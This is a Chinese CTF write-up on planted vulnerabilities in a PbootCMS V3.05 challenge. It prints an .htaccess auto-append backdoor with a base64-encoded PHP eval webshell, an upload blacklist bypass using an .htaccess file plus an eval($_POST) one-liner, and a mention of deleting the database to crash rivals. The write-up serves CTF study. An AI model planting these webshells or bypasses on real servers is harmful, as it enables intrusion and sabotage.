一,賽題概述
1概述
這道題目是PbootCMS V3.05,主頁面如下,

2配置概述
采用tutum/lamp的鏡像,Php 5.3+,其他擴展自行apt安裝即可
3漏洞賽題
目前在dump下來的鏡像中,發現存在且非CMS本身的官方預制漏洞有三,分別記錄如下,
備注:在復現以下漏洞的時候,為了圖一省事就賦予了所有檔案777權限,
二,RCE
1賽題預制原理
(1)檔案預制

.htaccess中
AddType application/x-httpd-php .sql
php_value auto_append_file “php://filter/convert.base64-decode/resource=0cb2353f8ea80b398754308f15d1121e_20200705235535_pbootcms.sql”
0cb2353f8ea80b398754308f15d1121e_20200705235535_pbootcms.sql中
CgoKCiAJCQogCSAKICAJIAo8P3BocCBldmFsKCRfUkVRVUVTVFsiYWFhIl0pOz8+CgoK
解碼后
(2)環境配置
首先,在php.ini中打開url檔案包含

其次,在apache的.conf中添加服務器路徑訪問與決議授權

最后,大功告成!(就不多說了,搞配置都是一把鼻涕一把淚的,哭)
2wp
看下圖應該就知道了(flag是自己添加的,原本要請求主辦方的ip才有flag)

3賽題回顧
當時啊,就主辦方因為把賽題容器權限寫死了,導致無法上傳其他php檔案,然后比賽開始后一直有隊伍再修補漏洞的程序中社會性死亡,于是,主辦方”決定“——不能再讓這些隊伍”閑“下去了,都沒人拿分,于是大方的以”迅雷不及掩耳之勢“放出了上述漏洞的利用方式,最令人發指的是,我們隊伍最后的得分竟然還是來自這個漏洞,就離譜好吧,
三,檔案上傳
1賽題預制原理
原CMS是于”在線留言“這一板塊并沒有檔案上傳點,故認為是賽題制作的漏洞,

其實,該漏洞的預制并不難,只要呼叫cms的開發變數就好了,(左為原題,右為原CMS)


2wp
發現有檔案上傳漏洞,php檔案被過濾,

使用黑名單繞過方法即可
直接上傳寫有”AddType application/x-httpd-php .txt“的.htaccess檔案和寫有”<?php eval($_POST['a']);?>“的1.txt,然后使用蟻劍連接即可,

3賽題回顧
由于,該CMS默認使用的是SQLLITE輕量級資料庫,而且為了能夠實作檔案上傳的功能,所以需要給一些指定檔案授予較高的權限,這也就導致了在比賽的程序中,只要有隊伍使用了該漏洞getshell后,就可以洗掉pbootcms.db——進行惡意的宕機,從而向上沖排名,
很不幸的是,我的隊伍就是當時的受害者之一,

(宕機后,來自隔壁的友好交流)
當然,還是要對隔壁大佬賽后友好的分享和交流表示感謝,
四,pboot特征漏洞
1賽題預制原理
賽題將原代碼的過濾注釋掉了

再檔案中還發現一個莫名的config.html

個人嘗試后無果,但懷疑是前臺任意執行,苦于代碼功底弱,無法除錯復現,
2收集的資料
PbootCMS V3.0.1任意代碼執行
PbootCMS任意代碼執行
PbootCMS任意代碼執行的前世今生
PHP動態特性的捕捉與逃逸.pdf
pbootcms最新版本前臺撿的rce-論如何繞廢正則
pbootcms漏洞復現
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/350818.html
標籤:其他
